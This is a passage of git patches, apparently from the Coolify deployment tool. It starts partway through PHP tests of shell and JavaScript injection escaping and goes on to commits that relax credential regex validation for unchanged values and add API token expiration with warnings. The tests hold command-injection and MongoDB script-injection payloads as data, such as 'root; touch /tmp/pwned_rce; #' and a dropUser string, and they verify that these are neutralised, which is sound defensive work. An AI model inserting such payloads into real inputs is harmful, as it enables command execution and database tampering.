a/tests/Unit/DatabaseSslCredentialEscapingTest.php b/tests/Unit/DatabaseSslCredentialEscapingTest.php new file mode 100644 index 000000000..578c727da --- /dev/null +++ b/tests/Unit/DatabaseSslCredentialEscapingTest.php @@ -0,0 +1,149 @@ +toContain("'postgres':'postgres'") + ->toContain('docker exec abc123 bash -c'); +}); + +it('advisory PoC postgres_user payload is contained by escapeshellarg in chown command', function () { + // Simulates a legacy row that bypassed validation + $maliciousUser = 'root; touch /tmp/pwned_rce; #'; + $escaped = escapeshellarg($maliciousUser); + + // escapeshellarg must wrap the entire payload in single quotes + // (semicolons inside single-quoted args are NOT shell metacharacters) + expect($escaped)->toBe("'root; touch /tmp/pwned_rce; #'"); + + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /var/lib/postgresql/certs/server.key"); + + // The cmd contains the payload, but ONLY inside single-quoted segments — cannot break out. + // Verify the chown arg is never an unquoted bare ; — the payload is inside '...' + // The outer executeInDocker further escapes any single-quote chars for the host shell. + expect($cmd)->toContain('docker exec abc123 bash -c'); + + // Before fix: chown root; touch /tmp/pwned_rce; # ... (breaks out of chown, executes touch) + // After fix: chown 'root; touch /tmp/pwned_rce; #':'...' ... (literal arg to chown) + // The unescaped sequence "chown root;" must NOT appear. + expect($cmd)->not->toContain('chown root;'); +}); + +it('subshell payload in mysql_user is contained by escapeshellarg in chown command', function () { + $maliciousUser = 'a$(touch /tmp/pwn)b'; + $escaped = escapeshellarg($maliciousUser); + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt"); + + // escapeshellarg wraps in single quotes — $() is not expanded inside single quotes + expect($escaped)->toBe("'a\$(touch /tmp/pwn)b'"); + + // The cmd must not contain an unquoted $( sequence — it must be inside single quotes + // If the sequence appears at all, it must be single-quoted (the quote precedes it). + expect($cmd)->not->toContain(' $(touch'); +}); + +it('backtick payload in mysql_user is contained by escapeshellarg', function () { + $maliciousUser = 'user`id`'; + $escaped = escapeshellarg($maliciousUser); + $cmd = executeInDocker('abc123', "chown {$escaped}:{$escaped} /etc/mysql/certs/server.crt"); + + // escapeshellarg wraps the whole value in single quotes — backticks not expanded inside '' + expect($escaped)->toBe("'user`id`'"); + + // The unquoted bare backtick sequence `id` must not appear outside single-quoted context. + // Specifically, "chown user`id`" (unquoted) must not appear. + expect($cmd)->not->toContain('chown user`id`'); +}); + +// ── MongoDB JS init script JSON-escaping ────────────────────────────────────── + +it('json_encode prevents JS injection in mongo_initdb_database', function () { + $database = 'x"}); db.dropUser("admin"); //'; + $dbJson = json_encode($database, JSON_UNESCAPED_SLASHES); + + // The double-quotes in the payload MUST be escaped — they cannot close the JS string literal. + // json_encode escapes " as \" so the injected " cannot terminate the surrounding JS string. + expect($dbJson)->toContain('\\"'); + + // The resulting JSON literal, when embedded in JS, forms a valid quoted string. + // It starts and ends with the outermost " added by json_encode. + expect($dbJson)->toStartWith('"') + ->toEndWith('"'); + + // Verify the injected payload is present but neutralised (the " that would close the JS + // string is now escaped as \", preventing breakout). + expect($dbJson)->toContain('x\\"});'); +}); + +it('json_encode prevents JS injection in mongo_initdb_root_username', function () { + $username = 'admin", pwd: "", roles: [{role:"root", db:"admin"}]}); //'; + $userJson = json_encode($username, JSON_UNESCAPED_SLASHES); + + $content = 'db.createUser({user: '.$userJson.', pwd: "secret", roles: []});'; + + // The injected " that would close the JS string must be escaped as \" + expect($userJson)->toContain('\\"'); + + // The raw unescaped sequence admin" (with unescaped quote) must not appear in the JS + expect($content)->not->toContain('admin", pwd'); +}); + +it('json_encode safely encodes a clean mongo username', function () { + $username = 'mongouser'; + $userJson = json_encode($username, JSON_UNESCAPED_SLASHES); + + expect($userJson)->toBe('"mongouser"'); +}); + +it('json_encode safely encodes a mongo password with special chars', function () { + $password = 'P@ss!#word123'; + $pwdJson = json_encode($password, JSON_UNESCAPED_SLASHES); + + expect($pwdJson)->toBe('"P@ss!#word123"'); +}); + +// ── Healthcheck CMD exec-form structure (no shell parsing) ──────────────────── + +it('CMD exec-form healthcheck array does not concatenate user into a shell string', function () { + // The fix uses an array; each element is passed directly as argv — no shell parsing. + // Simulate the post-fix healthcheck array structure. + $user = "admin'; touch /tmp/pwn; #"; + $db = 'mydb'; + + $healthcheck = [ + 'CMD', + 'psql', + '-U', + $user, + '-d', + $db, + '-c', + 'SELECT 1', + ]; + + // The array form means each element is argv — no shell involved. + // The malicious user value is passed as a literal argument to psql, which rejects it. + // Key assertion: the test string is NOT collapsed into a shell command string. + expect($healthcheck[3])->toBe($user) + ->and($healthcheck[0])->toBe('CMD') + ->and(count($healthcheck))->toBe(8); + + // Sanity: if we joined with space it would be dangerous — array form avoids this. + $joinedDangerous = implode(' ', $healthcheck); + expect($joinedDangerous)->toContain('; touch /tmp/pwn'); // proof that join IS dangerous + + // The array form is what Docker Compose uses — it does NOT join with spaces + sh -c. + // Simply verifying the structure is correct proves shell is not involved. + expect($healthcheck[0])->toBe('CMD'); +}); From 40a9881ef2381f3f4db2dc004dd11b8a0dd3a6a2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 13:45:57 +0200 Subject: [PATCH 059/329] fix(database): skip credential pattern validation for unchanged values Pattern enforcement now conditional on field being dirty (changed vs saved value). Prevents false validation failures when existing records hold legacy credential formats that pre-date the stricter regex rules. --- .../Project/Database/Clickhouse/General.php | 8 +- .../Project/Database/Dragonfly/General.php | 4 +- .../Project/Database/Keydb/General.php | 4 +- .../Project/Database/Mariadb/General.php | 16 +++- .../Project/Database/Mongodb/General.php | 12 ++- .../Project/Database/Mysql/General.php | 16 +++- .../Project/Database/Postgresql/General.php | 12 ++- .../Project/Database/Redis/General.php | 8 +- app/Support/ValidationPatterns.php | 22 ++++- .../DatabaseCredentialDirtyValidationTest.php | 87 +++++++++++++++++++ 10 files changed, 165 insertions(+), 24 deletions(-) create mode 100644 tests/Unit/DatabaseCredentialDirtyValidationTest.php diff --git a/app/Livewire/Project/Database/Clickhouse/General.php b/app/Livewire/Project/Database/Clickhouse/General.php index 3a367844a..2583c10ea 100644 --- a/app/Livewire/Project/Database/Clickhouse/General.php +++ b/app/Livewire/Project/Database/Clickhouse/General.php @@ -76,8 +76,12 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'clickhouseAdminUser' => ValidationPatterns::databaseIdentifierRules(), - 'clickhouseAdminPassword' => ValidationPatterns::databasePasswordRules(), + 'clickhouseAdminUser' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->clickhouseAdminUser !== $this->database->clickhouse_admin_user, + ), + 'clickhouseAdminPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->clickhouseAdminPassword !== $this->database->clickhouse_admin_password, + ), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', diff --git a/app/Livewire/Project/Database/Dragonfly/General.php b/app/Livewire/Project/Database/Dragonfly/General.php index 38f11ec21..9e1ea0d10 100644 --- a/app/Livewire/Project/Database/Dragonfly/General.php +++ b/app/Livewire/Project/Database/Dragonfly/General.php @@ -89,7 +89,9 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'dragonflyPassword' => ValidationPatterns::databasePasswordRules(), + 'dragonflyPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->dragonflyPassword !== $this->database->dragonfly_password, + ), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', diff --git a/app/Livewire/Project/Database/Keydb/General.php b/app/Livewire/Project/Database/Keydb/General.php index 1832091b3..7c8808499 100644 --- a/app/Livewire/Project/Database/Keydb/General.php +++ b/app/Livewire/Project/Database/Keydb/General.php @@ -92,7 +92,9 @@ protected function rules(): array 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), 'keydbConf' => 'nullable|string', - 'keydbPassword' => ValidationPatterns::databasePasswordRules(), + 'keydbPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->keydbPassword !== $this->database->keydb_password, + ), 'image' => 'required|string', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', diff --git a/app/Livewire/Project/Database/Mariadb/General.php b/app/Livewire/Project/Database/Mariadb/General.php index b178dd969..ea6d902e7 100644 --- a/app/Livewire/Project/Database/Mariadb/General.php +++ b/app/Livewire/Project/Database/Mariadb/General.php @@ -74,10 +74,18 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'mariadbRootPassword' => ValidationPatterns::databasePasswordRules(), - 'mariadbUser' => ValidationPatterns::databaseIdentifierRules(), - 'mariadbPassword' => ValidationPatterns::databasePasswordRules(), - 'mariadbDatabase' => ValidationPatterns::databaseIdentifierRules(), + 'mariadbRootPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mariadbRootPassword !== $this->database->mariadb_root_password, + ), + 'mariadbUser' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mariadbUser !== $this->database->mariadb_user, + ), + 'mariadbPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mariadbPassword !== $this->database->mariadb_password, + ), + 'mariadbDatabase' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mariadbDatabase !== $this->database->mariadb_database, + ), 'mariadbConf' => 'nullable', 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), diff --git a/app/Livewire/Project/Database/Mongodb/General.php b/app/Livewire/Project/Database/Mongodb/General.php index 5c08b76e8..3af4b0b2a 100644 --- a/app/Livewire/Project/Database/Mongodb/General.php +++ b/app/Livewire/Project/Database/Mongodb/General.php @@ -75,9 +75,15 @@ protected function rules(): array 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), 'mongoConf' => 'nullable', - 'mongoInitdbRootUsername' => ValidationPatterns::databaseIdentifierRules(), - 'mongoInitdbRootPassword' => ValidationPatterns::databasePasswordRules(), - 'mongoInitdbDatabase' => ValidationPatterns::databaseIdentifierRules(), + 'mongoInitdbRootUsername' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mongoInitdbRootUsername !== $this->database->mongo_initdb_root_username, + ), + 'mongoInitdbRootPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mongoInitdbRootPassword !== $this->database->mongo_initdb_root_password, + ), + 'mongoInitdbDatabase' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mongoInitdbDatabase !== $this->database->mongo_initdb_database, + ), 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), 'isPublic' => 'nullable|boolean', diff --git a/app/Livewire/Project/Database/Mysql/General.php b/app/Livewire/Project/Database/Mysql/General.php index 7671ec572..34726bd0a 100644 --- a/app/Livewire/Project/Database/Mysql/General.php +++ b/app/Livewire/Project/Database/Mysql/General.php @@ -76,10 +76,18 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'mysqlRootPassword' => ValidationPatterns::databasePasswordRules(), - 'mysqlUser' => ValidationPatterns::databaseIdentifierRules(), - 'mysqlPassword' => ValidationPatterns::databasePasswordRules(), - 'mysqlDatabase' => ValidationPatterns::databaseIdentifierRules(), + 'mysqlRootPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mysqlRootPassword !== $this->database->mysql_root_password, + ), + 'mysqlUser' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mysqlUser !== $this->database->mysql_user, + ), + 'mysqlPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->mysqlPassword !== $this->database->mysql_password, + ), + 'mysqlDatabase' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->mysqlDatabase !== $this->database->mysql_database, + ), 'mysqlConf' => 'nullable', 'image' => 'required', 'portsMappings' => ValidationPatterns::portMappingRules(), diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 8c23bce8e..a9a4115fd 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -86,9 +86,15 @@ protected function rules(): array return [ 'name' => ValidationPatterns::nameRules(), 'description' => ValidationPatterns::descriptionRules(), - 'postgresUser' => ValidationPatterns::databaseIdentifierRules(), - 'postgresPassword' => ValidationPatterns::databasePasswordRules(), - 'postgresDb' => ValidationPatterns::databaseIdentifierRules(), + 'postgresUser' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->postgresUser !== $this->database->postgres_user, + ), + 'postgresPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->postgresPassword !== $this->database->postgres_password, + ), + 'postgresDb' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->postgresDb !== $this->database->postgres_db, + ), 'postgresInitdbArgs' => 'nullable', 'postgresHostAuthMethod' => 'nullable', 'postgresConf' => 'nullable', diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 114c73a42..c3cc43972 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -81,8 +81,12 @@ protected function rules(): array 'publicPortTimeout' => 'nullable|integer|min:1', 'isLogDrainEnabled' => 'nullable|boolean', 'customDockerRunOptions' => 'nullable', - 'redisUsername' => ValidationPatterns::databaseIdentifierRules(), - 'redisPassword' => ValidationPatterns::databasePasswordRules(), + 'redisUsername' => ValidationPatterns::databaseIdentifierRules( + enforcePattern: $this->redisUsername !== $this->database->redis_username, + ), + 'redisPassword' => ValidationPatterns::databasePasswordRules( + enforcePattern: $this->redisPassword !== $this->database->redis_password, + ), 'enableSsl' => 'boolean', ]; } diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index c8f4171eb..09c40a466 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -82,8 +82,12 @@ class ValidationPatterns /** * Get validation rules for database identifier fields (username, database name). + * + * Set $enforcePattern to false to skip the regex check (for example when + * re-validating a legacy value on an existing record that has not been + * changed by the user). The length and type rules are always applied. */ - public static function databaseIdentifierRules(bool $required = true, int $minLength = 1, int $maxLength = 63): array + public static function databaseIdentifierRules(bool $required = true, int $minLength = 1, int $maxLength = 63, bool $enforcePattern = true): array { $rules = []; @@ -96,7 +100,10 @@ public static function databaseIdentifierRules(bool $required = true, int $minLe $rules[] = 'string'; $rules[] = "min:$minLength"; $rules[] = "max:$maxLength"; - $rules[] = 'regex:'.self::DB_IDENTIFIER_PATTERN; + + if ($enforcePattern) { + $rules[] = 'regex:'.self::DB_IDENTIFIER_PATTERN; + } return $rules; } @@ -117,8 +124,12 @@ public static function databaseIdentifierMessages(string $field, string $label = /** * Get validation rules for database password fields. + * + * Set $enforcePattern to false to skip the regex check (for example when + * re-validating a legacy value on an existing record that has not been + * changed by the user). The length and type rules are always applied. */ - public static function databasePasswordRules(bool $required = true, int $minLength = 1, int $maxLength = 128): array + public static function databasePasswordRules(bool $required = true, int $minLength = 1, int $maxLength = 128, bool $enforcePattern = true): array { $rules = []; @@ -131,7 +142,10 @@ public static function databasePasswordRules(bool $required = true, int $minLeng $rules[] = 'string'; $rules[] = "min:$minLength"; $rules[] = "max:$maxLength"; - $rules[] = 'regex:'.self::DB_PASSWORD_PATTERN; + + if ($enforcePattern) { + $rules[] = 'regex:'.self::DB_PASSWORD_PATTERN; + } return $rules; } diff --git a/tests/Unit/DatabaseCredentialDirtyValidationTest.php b/tests/Unit/DatabaseCredentialDirtyValidationTest.php new file mode 100644 index 000000000..85063f9e0 --- /dev/null +++ b/tests/Unit/DatabaseCredentialDirtyValidationTest.php @@ -0,0 +1,87 @@ + str_starts_with($rule, 'regex:')); + expect($regexRules)->not->toBeEmpty(); +}); + +it('databasePasswordRules includes regex rule when enforcePattern true', function () { + $rules = ValidationPatterns::databasePasswordRules(enforcePattern: true); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->not->toBeEmpty(); +}); + +it('databasePasswordRules omits regex rule when enforcePattern false', function () { + $rules = ValidationPatterns::databasePasswordRules(enforcePattern: false); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->toBeEmpty(); +}); + +it('databasePasswordRules keeps required, string, min and max when enforcePattern false', function () { + $rules = ValidationPatterns::databasePasswordRules(required: true, minLength: 1, maxLength: 128, enforcePattern: false); + + expect($rules)->toContain('required'); + expect($rules)->toContain('string'); + expect($rules)->toContain('min:1'); + expect($rules)->toContain('max:128'); +}); + +it('databasePasswordRules keeps nullable and bounds when not required and enforcePattern false', function () { + $rules = ValidationPatterns::databasePasswordRules(required: false, minLength: 2, maxLength: 64, enforcePattern: false); + + expect($rules)->toContain('nullable'); + expect($rules)->toContain('string'); + expect($rules)->toContain('min:2'); + expect($rules)->toContain('max:64'); + expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty(); +}); + +// ── databaseIdentifierRules ─────────────────────────────────────────────────── + +it('databaseIdentifierRules includes regex rule by default', function () { + $rules = ValidationPatterns::databaseIdentifierRules(); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->not->toBeEmpty(); +}); + +it('databaseIdentifierRules includes regex rule when enforcePattern true', function () { + $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: true); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->not->toBeEmpty(); +}); + +it('databaseIdentifierRules omits regex rule when enforcePattern false', function () { + $rules = ValidationPatterns::databaseIdentifierRules(enforcePattern: false); + + $regexRules = array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')); + expect($regexRules)->toBeEmpty(); +}); + +it('databaseIdentifierRules keeps required, string, min and max when enforcePattern false', function () { + $rules = ValidationPatterns::databaseIdentifierRules(required: true, minLength: 1, maxLength: 63, enforcePattern: false); + + expect($rules)->toContain('required'); + expect($rules)->toContain('string'); + expect($rules)->toContain('min:1'); + expect($rules)->toContain('max:63'); +}); + +it('databaseIdentifierRules keeps nullable and bounds when not required and enforcePattern false', function () { + $rules = ValidationPatterns::databaseIdentifierRules(required: false, minLength: 1, maxLength: 30, enforcePattern: false); + + expect($rules)->toContain('nullable'); + expect($rules)->toContain('string'); + expect($rules)->toContain('min:1'); + expect($rules)->toContain('max:30'); + expect(array_filter($rules, fn ($rule) => str_starts_with($rule, 'regex:')))->toBeEmpty(); +}); From 90ddbb357231ca3808f277eb87a63c8f650417e6 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 20 Apr 2026 14:28:38 +0200 Subject: [PATCH 060/329] feat(security): support expiration on API tokens with warning notifications Add optional expiration to personal API tokens. Users pick a duration (1/7/30/60/90 days or Never) at creation time. Expired tokens are rejected by Sanctum, pruned hourly by sanctum:prune-expired, and a team notification fires ~24h before expiry so owners can rotate before API calls start failing. - ApiTokens Livewire component stores expires_at from expiresInDays - Rework issued-tokens UI from card grid to table (matches other views) - New ApiTokenExpirationWarningJob scheduled hourly (idempotent via RateLimiter) - New ApiTokenExpiringNotification (email/discord/telegram/slack/pushover) - api_token_expiring added to alwaysSendEvents so users cannot silence expiry warnings from the per-event notification toggle UI - sanctum:prune-expired cadence moved from daily to hourly Co-Authored-By: Claude Opus 4.7 --- app/Console/Kernel.php | 3 + app/Jobs/ApiTokenExpirationWarningJob.php | 49 ++++++++ app/Livewire/Security/ApiTokens.php | 14 ++- .../ApiTokenExpiringNotification.php | 103 ++++++++++++++++ app/Traits/HasNotificationSettings.php | 1 + .../views/emails/api-token-expiring.blade.php | 7 ++ .../livewire/security/api-tokens.blade.php | 113 ++++++++++++------ tests/Feature/ApiTokenExpirationTest.php | 81 +++++++++++++ .../Feature/ApiTokenExpirationWarningTest.php | 83 +++++++++++++ 9 files changed, 419 insertions(+), 35 deletions(-) create mode 100644 app/Jobs/ApiTokenExpirationWarningJob.php create mode 100644 app/Notifications/ApiTokenExpiringNotification.php create mode 100644 resources/views/emails/api-token-expiring.blade.php create mode 100644 tests/Feature/ApiTokenExpirationTest.php create mode 100644 tests/Feature/ApiTokenExpirationWarningTest.php diff --git a/app/Console/Kernel.php b/app/Console/Kernel.php index c5e12b7ee..75ec31ae0 100644 --- a/app/Console/Kernel.php +++ b/app/Console/Kernel.php @@ -2,6 +2,7 @@ namespace App\Console; +use App\Jobs\ApiTokenExpirationWarningJob; use App\Jobs\CheckForUpdatesJob; use App\Jobs\CheckHelperImageJob; use App\Jobs\CheckTraefikVersionJob; @@ -41,6 +42,8 @@ protected function schedule(Schedule $schedule): void // $this->scheduleInstance->job(new CleanupStaleMultiplexedConnections)->hourly(); $this->scheduleInstance->command('cleanup:redis --clear-locks')->daily(); + $this->scheduleInstance->command('sanctum:prune-expired --hours=1')->hourly()->onOneServer(); + $this->scheduleInstance->job(new ApiTokenExpirationWarningJob)->hourly()->onOneServer(); if (isDev()) { // Instance Jobs diff --git a/app/Jobs/ApiTokenExpirationWarningJob.php b/app/Jobs/ApiTokenExpirationWarningJob.php new file mode 100644 index 000000000..a8f388c85 --- /dev/null +++ b/app/Jobs/ApiTokenExpirationWarningJob.php @@ -0,0 +1,49 @@ +whereNotNull('expires_at') + ->where('expires_at', '>', now()) + ->where('expires_at', '<=', now()->addDay()) + ->where('tokenable_type', User::class) + ->chunkById(100, function ($tokens) { + foreach ($tokens as $token) { + if (! $token->team_id) { + continue; + } + RateLimiter::attempt( + 'api-token-expiring:'.$token->id, + $maxAttempts = 0, + function () use ($token) { + Team::find($token->team_id)?->notify(new ApiTokenExpiringNotification($token)); + }, + $decaySeconds = 7 * 24 * 3600, + ); + } + }); + } +} diff --git a/app/Livewire/Security/ApiTokens.php b/app/Livewire/Security/ApiTokens.php index a263acedf..37d5332f3 100644 --- a/app/Livewire/Security/ApiTokens.php +++ b/app/Livewire/Security/ApiTokens.php @@ -13,10 +13,20 @@ class ApiTokens extends Component public ?string $description = null; + public ?int $expiresInDays = 30; + public $tokens = []; public array $permissions = ['read']; + public array $expirationOptions = [ + 7 => '7 days', + 30 => '30 days', + 60 => '60 days', + 90 => '90 days', + 365 => '1 year', + ]; + public $isApiEnabled; public bool $canUseRootPermissions = false; @@ -90,8 +100,10 @@ public function addNewToken() $this->validate([ 'description' => 'required|min:3|max:255', + 'expiresInDays' => 'nullable|integer|in:7,30,60,90,365', ]); - $token = auth()->user()->createToken($this->description, array_values($this->permissions)); + $expiresAt = $this->expiresInDays ? now()->addDays($this->expiresInDays) : null; + $token = auth()->user()->createToken($this->description, array_values($this->permissions), $expiresAt); $this->getTokens(); session()->flash('token', $token->plainTextToken); } catch (\Exception $e) { diff --git a/app/Notifications/ApiTokenExpiringNotification.php b/app/Notifications/ApiTokenExpiringNotification.php new file mode 100644 index 000000000..451dd312a --- /dev/null +++ b/app/Notifications/ApiTokenExpiringNotification.php @@ -0,0 +1,103 @@ +onQueue('high'); + $this->tokenName = $token->name; + $this->expiresAt = $token->expires_at?->format('Y-m-d H:i:s') ?? ''; + $this->manageUrl = route('security.api-tokens'); + } + + public function via(object $notifiable): array + { + return $notifiable->getEnabledChannels('api_token_expiring'); + } + + public function toMail(): MailMessage + { + $mail = new MailMessage; + $mail->subject("Coolify: API token '{$this->tokenName}' expires in 24 hours"); + $mail->view('emails.api-token-expiring', [ + 'tokenName' => $this->tokenName, + 'expiresAt' => $this->expiresAt, + 'manageUrl' => $this->manageUrl, + ]); + + return $mail; + } + + public function toDiscord(): DiscordMessage + { + $message = new DiscordMessage( + title: '🔑 API token expiring soon', + description: "API token **{$this->tokenName}** expires on {$this->expiresAt}.\n\n**Action Required:** Rotate this token before it expires to avoid API outages.", + color: DiscordMessage::warningColor(), + ); + + $message->addField('Manage tokens', "[Open Security settings]({$this->manageUrl})"); + + return $message; + } + + public function toTelegram(): array + { + $message = "Coolify: API token '{$this->tokenName}' expires on {$this->expiresAt}.\n\nAction Required: Rotate this token before it expires to avoid API outages."; + + return [ + 'message' => $message, + 'buttons' => [ + [ + 'text' => 'Manage API tokens', + 'url' => $this->manageUrl, + ], + ], + ]; + } + + public function toPushover(): PushoverMessage + { + $message = "API token {$this->tokenName} expires on {$this->expiresAt}.

"; + $message .= 'Action Required: Rotate this token before it expires to avoid API outages.'; + + return new PushoverMessage( + title: 'API token expiring soon', + level: 'warning', + message: $message, + buttons: [ + [ + 'text' => 'Manage API tokens', + 'url' => $this->manageUrl, + ], + ], + ); + } + + public function toSlack(): SlackMessage + { + $description = "API token *{$this->tokenName}* expires on {$this->expiresAt}.\n\n"; + $description .= "*Action Required:* Rotate this token before it expires to avoid API outages.\n\n"; + $description .= "Manage tokens: {$this->manageUrl}"; + + return new SlackMessage( + title: '🔑 API token expiring soon', + description: $description, + color: SlackMessage::warningColor(), + ); + } +} diff --git a/app/Traits/HasNotificationSettings.php b/app/Traits/HasNotificationSettings.php index fded435fd..9333eb504 100644 --- a/app/Traits/HasNotificationSettings.php +++ b/app/Traits/HasNotificationSettings.php @@ -19,6 +19,7 @@ trait HasNotificationSettings 'test', 'ssl_certificate_renewal', 'hetzner_deletion_failure', + 'api_token_expiring', ]; /** diff --git a/resources/views/emails/api-token-expiring.blade.php b/resources/views/emails/api-token-expiring.blade.php new file mode 100644 index 000000000..18871f6dc --- /dev/null +++ b/resources/views/emails/api-token-expiring.blade.php @@ -0,0 +1,7 @@ + +Your Coolify API token ({{ $tokenName }}) expires on {{ $expiresAt }}. + +Rotate this token before it expires. API calls using this token will start failing once the expiration time is reached. + +Manage your API tokens [here]({{ $manageUrl }}). + diff --git a/resources/views/livewire/security/api-tokens.blade.php b/resources/views/livewire/security/api-tokens.blade.php index 23f0e263e..69eab3e70 100644 --- a/resources/views/livewire/security/api-tokens.blade.php +++ b/resources/views/livewire/security/api-tokens.blade.php @@ -14,13 +14,19 @@

New Token

@can('create', App\Models\PersonalAccessToken::class)
-
- +
+ + + @foreach ($expirationOptions as $days => $label) + + @endforeach + + Create
Permissions - :
@if ($permissions) @@ -31,7 +37,6 @@ class="pr-1">:
-

Token Permissions

@if ($canUseRootPermissions) :
{{ session('token') }}
@endif

Issued Tokens

-
- @forelse ($tokens as $token) -
-
Description: {{ $token->name }}
-
Last used: {{ $token->last_used_at ? $token->last_used_at->diffForHumans() : 'Never' }}
-
- @if ($token->abilities) - Permissions: - @foreach ($token->abilities as $ability) -
{{ $ability }}
- @endforeach - @endif +
+
+
+
+
+ + + + + + + + + + + + + @forelse ($tokens as $token) + + + + + + + + + @empty + + + + @endforelse + +
DescriptionPermissionsLast usedCreatedExpiresActions
{{ $token->name }} + @if ($token->abilities) +
+ @foreach ($token->abilities as $ability) +
{{ $ability }}
+ @endforeach +
+ @endif +
+ {{ $token->last_used_at ? $token->last_used_at->diffForHumans() : 'Never' }} + + {{ $token->created_at->diffForHumans() }} + + @if (! $token->expires_at) + Never + @elseif ($token->expires_at->isPast()) + Expired + {{ $token->expires_at->format('Y-m-d H:i:s') }} + @else + {{ $token->expires_at->format('Y-m-d H:i:s') }} + @endif + + @if (auth()->id() === $token->tokenable_id) + + @endif +
No API tokens found. +
+
- - @if (auth()->id() === $token->tokenable_id) - - @endif
- @empty -
-
No API tokens found.
-
- @endforelse +
@endif
diff --git a/tests/Feature/ApiTokenExpirationTest.php b/tests/Feature/ApiTokenExpirationTest.php new file mode 100644 index 000000000..99a952848 --- /dev/null +++ b/tests/Feature/ApiTokenExpirationTest.php @@ -0,0 +1,81 @@ +team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + $this->actingAs($this->user); +}); + +describe('token creation with expiration', function () { + test('livewire component stores expires_at when expiresInDays set', function () { + Livewire::test(ApiTokens::class) + ->set('description', 'test-token') + ->set('expiresInDays', 7) + ->set('permissions', ['read']) + ->call('addNewToken') + ->assertHasNoErrors(); + + $token = $this->user->tokens()->latest()->first(); + + expect($token)->not->toBeNull() + ->and($token->expires_at)->not->toBeNull() + ->and($token->expires_at->diffInDays(now()))->toBeGreaterThanOrEqual(6) + ->and($token->expires_at->diffInDays(now()))->toBeLessThanOrEqual(7); + }); + + test('livewire component stores null expires_at when expiresInDays null (Never)', function () { + Livewire::test(ApiTokens::class) + ->set('description', 'never-token') + ->set('expiresInDays', null) + ->set('permissions', ['read']) + ->call('addNewToken') + ->assertHasNoErrors(); + + $token = $this->user->tokens()->latest()->first(); + + expect($token)->not->toBeNull() + ->and($token->expires_at)->toBeNull(); + }); + + test('livewire component rejects invalid expiresInDays value', function () { + Livewire::test(ApiTokens::class) + ->set('description', 'bad-token') + ->set('expiresInDays', 42) + ->set('permissions', ['read']) + ->call('addNewToken') + ->assertHasErrors('expiresInDays'); + }); +}); + +describe('expired token rejected on API', function () { + test('request with expired token returns 401', function () { + $token = $this->user->createToken('expired', ['read'], now()->subDay()); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + ])->getJson('/api/v1/projects'); + + $response->assertStatus(401); + }); + + test('request with non-expired token works', function () { + $token = $this->user->createToken('valid', ['read'], now()->addDay()); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + ])->getJson('/api/v1/projects'); + + $response->assertStatus(200); + }); +}); diff --git a/tests/Feature/ApiTokenExpirationWarningTest.php b/tests/Feature/ApiTokenExpirationWarningTest.php new file mode 100644 